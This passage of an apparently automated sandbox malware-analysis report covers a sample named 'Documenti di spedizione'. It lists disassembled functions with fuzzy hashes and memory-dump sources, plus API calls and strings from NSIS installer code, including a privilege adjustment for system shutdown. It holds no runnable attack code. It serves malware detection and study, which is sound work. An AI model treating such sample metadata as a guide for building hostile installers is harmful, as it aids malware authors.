Opcode Fuzzy Hash: e2b194f202ac044c468b5c15a2afa96e7c7e9c2416616f2e50f39609974c5928
Instruction Fuzzy Hash: 43217431E003059BDB14CFA5D4506DEBBB2AF86350F10862BE855FB350DB75AC46CB52

Function 000D4F48 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b726fecf0ccb0c763cfe40777bbe3d2145b3c21e73103269822d4637cadbda
Instruction ID: 7e3869b1a01fe0f43c589dfc432ed1cd26cd0fffb33b587a694b754b7ace5980
Opcode Fuzzy Hash: 94b726fecf0ccb0c763cfe40777bbe3d2145b3c21e73103269822d4637cadbda
Instruction Fuzzy Hash: 32212C30610205CFDB54EB78C958BAE7BF1EF48345F1044A9E506EB360DB3A9D01CBA1

Function 000DE36A Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddc6b337e519a95db12655f9a396a13ceb19e91d48cc7906e2a1dc93ff60f1ef
Instruction ID: 42b0d7ba0414ba9e6d428141259e91fff3b22ff67b8b4d6cccb5963914ff52f0
Opcode Fuzzy Hash: ddc6b337e519a95db12655f9a396a13ceb19e91d48cc7906e2a1dc93ff60f1ef
Instruction Fuzzy Hash: 4811AC313047809FC75AAB3858A417E6BE3AFC621471849BEE54ACB3D2DE348D0B9391

Function 000AD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246230285.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 882a16d00076381560995e26cbd9c5049af135524833c6673547929b698fed9f
Instruction ID: a9ce80483b613ec9dfd00db0927668982e7d4e96a20915ea43853aeb9f0ac30f
Opcode Fuzzy Hash: 882a16d00076381560995e26cbd9c5049af135524833c6673547929b698fed9f
Instruction Fuzzy Hash: E921F271604204DFCB24DFA4D980F26BBA5FB89314F24C56AD94A4B656C33AD846CA62

Function 000DA010 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1f2c744f480ba4be0f95683fd22ef78849bf4914c60b46047f7b7842a80fda
Instruction ID: 7fc1a6ef6b133e52f2b9cb083ad7bb15df63e3bf803a52c0e5cd9712e6532ec1
Opcode Fuzzy Hash: ab1f2c744f480ba4be0f95683fd22ef78849bf4914c60b46047f7b7842a80fda
Instruction Fuzzy Hash: 77215031F003059BDB18CFA5D45069EBBB2AF8A350F10862BE815BB350DB75AC46CB62

Function 000D1848 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aa3b2a99ad0682322cccca79cb172052017f624f27c52fd2425ffbfb21a3a57
Instruction ID: 722027e66c593a970971ae86712133b17e3b5a9f5aae17ec9b4a92fa9773e969
Opcode Fuzzy Hash: 7aa3b2a99ad0682322cccca79cb172052017f624f27c52fd2425ffbfb21a3a57
Instruction Fuzzy Hash: DE213C30B00305AFDB54EB68C6256EE77F6AF89345F10046AD106EB3A4DF798D41DBA1

Function 000D1670 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3a6b9439c87f33dc638b48f92fc5f6c0d27ec97379fca18ae89bd0016db9e88
Instruction ID: fd5f8b18ae1d9d2d97487f51aed1cb9e76cb583894a475ec6b071ff8c49d557d
Opcode Fuzzy Hash: f3a6b9439c87f33dc638b48f92fc5f6c0d27ec97379fca18ae89bd0016db9e88
Instruction Fuzzy Hash: 39215E306002416FDF65DB28F984B9937AAEF45308F104926D10ADB675DE38DD8BCBA1

Function 000D4F58 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5f5b9bea257ee74f4416d2af34662d74c693e360380f83ffad64063f86f57e
Instruction ID: d0a719bf67a150406270c13db492ba3058d993de5b2daa9c5243df62ad26787b
Opcode Fuzzy Hash: ae5f5b9bea257ee74f4416d2af34662d74c693e360380f83ffad64063f86f57e
Instruction Fuzzy Hash: E6211630610204CFDB54EB78C958BAE7BF1EF88345F104469E506EB3A0DB7A9D01CBA0

Function 38CF6DD7 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ae65e0ffbdf4a784c07665ff2ca2edbdbd2969a3d2ca4af0ca3a09e9540aff
Instruction ID: 23f9c01502bf0d8180bc8094fa5524a44f27e2b6805cf0576e19faf441be6d5c
Opcode Fuzzy Hash: e0ae65e0ffbdf4a784c07665ff2ca2edbdbd2969a3d2ca4af0ca3a09e9540aff
Instruction Fuzzy Hash: F4219A35B001049FEF44CB68E954A8EBBB7EF84354F248539E909EB341DB36DC468B80

Function 000D0848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eec335e68c0da4ba627970c976e5a2a5922684e197110c9357ed7a3875addcbd
Instruction ID: d14fccb5edf0d987542cd18c489b5e562fc20bc6bafab77184be6e65ec8c2ae9
Opcode Fuzzy Hash: eec335e68c0da4ba627970c976e5a2a5922684e197110c9357ed7a3875addcbd
Instruction Fuzzy Hash: E411B230B003048BDFA49A79D45472D32D6EF81310F20493BE18ACB395DE64CC829BE1

Function 000D1780 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdfa90793b7f070c9da9642474eb5d210544d258335ac6765e22eaa89328d545
Instruction ID: e6daa0ddd307aabbeae20be23acd0897823907bf7d0dceee2a5cde2464441b2a
Opcode Fuzzy Hash: fdfa90793b7f070c9da9642474eb5d210544d258335ac6765e22eaa89328d545
Instruction Fuzzy Hash: 7E11E971F00351AFCF509B7998046AE7BF5EB49660F140827D949D7350EF34C9438796

Function 000D0838 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323352b912ea6c502517e0cbc0c5043974af94574e74e4869f953204355bb1e1
Instruction ID: 08ef94cea38a5fb5e3984e3cbf3664fa83a8328520771aee6c1b80136bd06c72
Opcode Fuzzy Hash: 323352b912ea6c502517e0cbc0c5043974af94574e74e4869f953204355bb1e1
Instruction Fuzzy Hash: 2711A330B003448FEFA49AB5D85476E3695DB52310F10497BE58EDB392DD68CC45ABF1

Function 38CF3CB8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4044b20975d05ec1a99230ec4a783226f50ce149aa7ad37109ad973cd6e76d08
Instruction ID: 39098b266afdfb34053a6cac2017439944aed941cd02cef121f7c92403f747cf
Opcode Fuzzy Hash: 4044b20975d05ec1a99230ec4a783226f50ce149aa7ad37109ad973cd6e76d08
Instruction Fuzzy Hash: CF11AD36B102299BEB559A7AC8146AE73EAEBC8651F00413AD50AF7340DF66DC03CB91

Function 38CFEE52 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6b0ed45bdfb9997078d14da05b7f57ec8295c1cce6f8a93c73dd652052cd38e
Instruction ID: af375998371749dd81d46777f3896c792e9a1e535a6f595b127531dfeebe79d9
Opcode Fuzzy Hash: a6b0ed45bdfb9997078d14da05b7f57ec8295c1cce6f8a93c73dd652052cd38e
Instruction Fuzzy Hash: EE0124357004404FEF568A7DA450B2E77D6DBCA750F14843EE40ECB341D916CC074B91

Function 38CF3970 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93aaf5f90877d4062a2d4bf3eca34002502986e123ca8b42cdc0673ab71b67d6
Instruction ID: ac8f1374153446066c32cdb01f13f63965af1ae0993fef764f1e5975981f36e6
Opcode Fuzzy Hash: 93aaf5f90877d4062a2d4bf3eca34002502986e123ca8b42cdc0673ab71b67d6
Instruction Fuzzy Hash: 6221C2B5D01259AFCB00CFAAD884ADEFFB4FF49310F10816AE918A7200C3796954CFA5

Function 000D1458 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0378ff661a05bbffcda71cb7e0b970ea79d3eb9b7feb7574dd7f9f7df93a4b5c
Instruction ID: 4efd047e759cc1c0daddff2a48f75f93a3cd1a742c895d2f8c97cbb5f0102b5e
Opcode Fuzzy Hash: 0378ff661a05bbffcda71cb7e0b970ea79d3eb9b7feb7574dd7f9f7df93a4b5c
Instruction Fuzzy Hash: 4E016D71A013149FCF61EFB995512EE7BE5EF48310F24047AE809E7342EA35D8428BB1

Function 38CF3157 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c59670ad092784951199459504adc3a4dad2490dc806f6ace0f42a9ee668fa0
Instruction ID: 794e954fffd0c5873b4626d3d37faf42d2c6951bfa8773c1b42aa70cc08e3501
Opcode Fuzzy Hash: 5c59670ad092784951199459504adc3a4dad2490dc806f6ace0f42a9ee668fa0
Instruction Fuzzy Hash: E611A175E00219AADB64DB79C8505DEF7B5AFC9310F10867AE40AE7310DA31CA41CB90

Function 38CF4304 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a88fe1a5aeb6aceea6f060b42d6137cbcbe5e696094f23880fe93b7987c7f475
Instruction ID: ab5983a0a370e88ba2be22242a0ce0906790e664d508982a61de463e5563ccbf
Opcode Fuzzy Hash: a88fe1a5aeb6aceea6f060b42d6137cbcbe5e696094f23880fe93b7987c7f475
Instruction Fuzzy Hash: 1F01AD3A7000105BFB549A6DD4147AFB3DADBC9714F21843AE10EC7355EA66DE4743D1

Function 000AD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246230285.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d146c012d62b50799e69983f9b519668de3e8daf9b392618dad8028a3e4e9ddc
Instruction ID: 32f565284dcd60c5411947837443950d1157860d12ad16c477a22463009a6f1e
Opcode Fuzzy Hash: d146c012d62b50799e69983f9b519668de3e8daf9b392618dad8028a3e4e9ddc
Instruction Fuzzy Hash: 3511DD75504280DFCB12CF54D5C4B15FFB2FB89314F28C6AAD84A4BA56C33AD84ACB62

Function 38CF3978 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0f6c60d4843c33b4b555de46914e624e02484e6e64261b3781e3cf8c0757763
Instruction ID: 9bf772cc841b310e4d1bebd40d1d8d3ce2e9576d58c25360e30507d77a596847
Opcode Fuzzy Hash: b0f6c60d4843c33b4b555de46914e624e02484e6e64261b3781e3cf8c0757763
Instruction Fuzzy Hash: FD11A4B5D01259AFCB00DF9AD984ADEFBB4FB49310F50812AE918A7200C3796554CBA5

Function 38CF4308 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e883e2d6b750ff4446d180677feac1680f5091b61021973b2469622ca3ad062
Instruction ID: 933067e86f67491441a630853a39fca96386b1467b0d9f2c8e309f8d6a5c6dfd
Opcode Fuzzy Hash: 4e883e2d6b750ff4446d180677feac1680f5091b61021973b2469622ca3ad062
Instruction Fuzzy Hash: C201DC3A7000105BFB549A6DD814B9FB2CACBC9714F21843AE10EC7355EA66DD4743C1

Function 38CF3CB3 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb574fbeae2c14f2719c570aba739637028a1d31def84fe3ff1f99a452f57ad0
Instruction ID: 33c9479e683d00d2775308aec0c2623b058fbafe1cb903e4f509c9048ce65fc2
Opcode Fuzzy Hash: cb574fbeae2c14f2719c570aba739637028a1d31def84fe3ff1f99a452f57ad0
Instruction Fuzzy Hash: 3301D136F101296BEB868679CC147EF73ABABC8600F04023AD50AE3340DF61CC078791

Function 38CFEE60 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840df69531c87d369e11ff2a5df1d87956c6c2163f7868b4a323d7aed79f016f
Instruction ID: 14bf1bc07c456dac5874b0809daef9cf34f7c5b0ee183e177350f47488e609c7
Opcode Fuzzy Hash: 840df69531c87d369e11ff2a5df1d87956c6c2163f7868b4a323d7aed79f016f
Instruction Fuzzy Hash: 4501AF357004109BEF659A6EE454B2FB7DADBC9765F14883AE50ECB340EE26DC034791

Function 38CFA3D0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c18f9bb597a0497bfa386560ed6cbde7a3f6961a5d33628678457e55047da7b0
Instruction ID: c36b62ea17778ddf04a57940a6fd5a37f56524badd13e1b865efafaf6bfb810d
Opcode Fuzzy Hash: c18f9bb597a0497bfa386560ed6cbde7a3f6961a5d33628678457e55047da7b0
Instruction Fuzzy Hash: 2A0181357000104FE755DE6CD568B5ABBE6EBC9B59F248439F50ED7390DA22DC038791

Function 38CFA3D8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28775b7d145ec05652d3c46df0defd56518b6c612ecff9f02567cdee05a8036a
Instruction ID: 2abf1e598359b172d37a1e721ca6c070a0e186a9da62be0ea70269ae5ab9f278
Opcode Fuzzy Hash: 28775b7d145ec05652d3c46df0defd56518b6c612ecff9f02567cdee05a8036a
Instruction Fuzzy Hash: AF0181357000104FE750DA6DD458B4AB7DAEB89B54F208439E50ED7390EA22DC038781

Function 000DF20D Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9754f38779bd89c75b324b682510dfd5cb04c9fb627619f70b4356ecd4189748
Instruction ID: 2f52acc58d5fe4910ac2163d0e994bdf037cb5c24c221b14a975fc89990931c0
Opcode Fuzzy Hash: 9754f38779bd89c75b324b682510dfd5cb04c9fb627619f70b4356ecd4189748
Instruction Fuzzy Hash: FBF024347002264BCF216AB9E55167EA7CADFC1364F04893AD00BCB315DA28CC0B87A0

Function 000DF210 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2021ccbb96850b85540c6c504b917fa89bf7c02c8d511c5cf899774938ab65e7
Instruction ID: ef01760c68a495bd3acd6b25dc47c2bc8d2e09949564450519459577afb6a8f3
Opcode Fuzzy Hash: 2021ccbb96850b85540c6c504b917fa89bf7c02c8d511c5cf899774938ab65e7
Instruction Fuzzy Hash: AFF0B4353002164BCB256ABAE55167AB6CADFC1364F04893AD00ACB355DA29DC0743A5

Function 38CFC897 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f09464e3a2992956e0fb9f72e8717877f723e065050fc6b69af3dcc397285dbb
Instruction ID: 6962e65c770afebb17abd5f21c176e3eeecd6269ba12c2fd0ef15bdab731072a
Opcode Fuzzy Hash: f09464e3a2992956e0fb9f72e8717877f723e065050fc6b69af3dcc397285dbb
Instruction Fuzzy Hash: 22F02736F102B49BEB149575D8009DEB736FB80350F004139ED01F7340D6326C02CB80

Function 38CFEF0F Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd2b90dd109be9a4d88d3bf560e833059d54477848f620885d50c1a8ead1268
Instruction ID: d2d6c2971218a1725fc3fe05bf83624d982431ec284f14f8501ce3402813e890
Opcode Fuzzy Hash: 2cd2b90dd109be9a4d88d3bf560e833059d54477848f620885d50c1a8ead1268
Instruction Fuzzy Hash: 95E0DF263005108BFB628E7EF0A078A7B92CBC6A65F208037E18ECF240DA13CC0B4751

Function 38CF654B Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 339e4544b081a3fc802484cce7d01feb947b6ab749c19d482db4b680565cfc86
Instruction ID: 271e9c00c6562f6601e47ea876387f0df872897fbcd96ef76886d43a97fc3ac4
Opcode Fuzzy Hash: 339e4544b081a3fc802484cce7d01feb947b6ab749c19d482db4b680565cfc86
Instruction Fuzzy Hash: D5E08675E01108FFFB50CAB48949B8E77B99B41244F2185B9E409E7105D577C9438B00

Function 000DE7D0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945c0cdf58406f5b09a5406506665f30f98b30afedea8f7277e00dedd96afc44
Instruction ID: f03338de6935cb79e6b925e110cbe3a01b16483175ba01d238180a96081009b1
Opcode Fuzzy Hash: 945c0cdf58406f5b09a5406506665f30f98b30afedea8f7277e00dedd96afc44
Instruction Fuzzy Hash: AED05E30209B909BC374EA59D144A56B7E9BB48754B94445AF44787B40CB60FC01C790

Non-executed Functions

Function 004032BF Relevance: 79.1, APIs: 33, Strings: 12, Instructions: 357stringcomfileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032E4
GetVersion.KERNEL32 ref: 004032EA
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403313
#17.COMCTL32(00000007,00000009), ref: 00403335
OleInitialize.OLE32(00000000), ref: 0040333C
SHGetFileInfoA.SHELL32(0041ECF0,00000000,?,00000160,00000000), ref: 00403358
GetCommandLineA.KERNEL32(00422F20,NSIS Error), ref: 0040336D
GetModuleHandleA.KERNEL32(00000000,00429000,00000000), ref: 00403380
CharNextA.USER32(00000000,00429000,00000020), ref: 004033AB
GetTempPathA.KERNEL32(00000400,0042A400,00000000,00000020), ref: 004034A8
GetWindowsDirectoryA.KERNEL32(0042A400,000003FB), ref: 004034B9
lstrcatA.KERNEL32(0042A400,\Temp), ref: 004034C5
GetTempPathA.KERNEL32(000003FC,0042A400,0042A400,\Temp), ref: 004034D9
lstrcatA.KERNEL32(0042A400,Low), ref: 004034E1
SetEnvironmentVariableA.KERNEL32(TEMP,0042A400,0042A400,Low), ref: 004034F2
SetEnvironmentVariableA.KERNEL32(TMP,0042A400), ref: 004034FA
DeleteFileA.KERNEL32(0042A000), ref: 0040350E

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

OleUninitialize.OLE32(?), ref: 004035BC
ExitProcess.KERNEL32 ref: 004035DD
GetCurrentProcess.KERNEL32(00000028,?), ref: 004036FA
OpenProcessToken.ADVAPI32(00000000), ref: 00403701
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403719
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403738
ExitWindowsEx.USER32(00000002,80040002), ref: 0040375C
ExitProcess.KERNEL32 ref: 0040377F

Part of subcall function 004056ED: MessageBoxIndirectA.USER32(00409230), ref: 00405748

Strings

UXTHEME, xrefs: 00403307, 0040330C, 00403312
Error launching installer, xrefs: 00403574
\Temp, xrefs: 004034BF
.tmp, xrefs: 00403604
", xrefs: 004033D0
~nsu, xrefs: 004035E8
Low, xrefs: 004034DB
NSIS Error, xrefs: 0040335E
SeShutdownPrivilege, xrefs: 00403713
TMP, xrefs: 004034F5
TEMP, xrefs: 004034ED
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D3

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$.tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3329125770-3941163293
Opcode ID: e18221ddd9e48752b7ffbdf688241eb0e22038d92db6db9d705f5ccec6b49e04
Instruction ID: 987bc29005933e48b9d04248005189ae3273ffe916fb5a61461eda946c2e522c
Opcode Fuzzy Hash: e18221ddd9e48752b7ffbdf688241eb0e22038d92db6db9d705f5ccec6b49e04
Instruction Fuzzy Hash: FCC109706082816AE7216F259D49A2F3EACEF81706F44447FF481761E2CB7C9A05CB6E

Function 00404A8D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404AA5
GetDlgItem.USER32(?,00000408), ref: 00404AB0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404AFA
LoadBitmapA.USER32(0000006E), ref: 00404B0D
SetWindowLongA.USER32(?,000000FC,00405084), ref: 00404B26
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404B3A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404B4C
SendMessageA.USER32(?,00001109,00000002), ref: 00404B62
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404B6E
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404B80
DeleteObject.GDI32(00000000), ref: 00404B83
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404BAE
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404BBA
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C4F
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404C7A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C8E
GetWindowLongA.USER32(?,000000F0), ref: 00404CBD
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404CCB
ShowWindow.USER32(?,00000005), ref: 00404CDC
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404DD9
